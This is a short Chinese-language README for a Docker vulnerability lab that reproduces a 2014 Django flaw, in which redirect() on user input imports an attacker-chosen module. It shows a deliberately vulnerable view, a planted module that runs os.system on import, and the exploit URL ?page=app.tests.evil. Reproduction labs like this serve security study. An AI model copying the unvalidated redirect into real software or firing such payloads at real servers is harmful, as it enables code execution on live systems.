使用
docker-compose up -d
访问 localhost:8083
参考: https://www.djangoproject.com/weblog/2014/apr/21/security/
- 一个或多个视图存在,根据用户输入构造 URL(通常是一个查询字符串中的“next”参数,指示操作成功完成后的重定向位置)。
- 一个或多个模块已知攻击者存在于服务器的 Python 导入路径上,这些模块在导入时会执行带有副作用的代码。
在 tests.py 中
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
在 views.py 中
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
使用重定向函数调用恶意函数

使用 exp
http://your-ip:8083/example?page=app.tests.evil

已利用
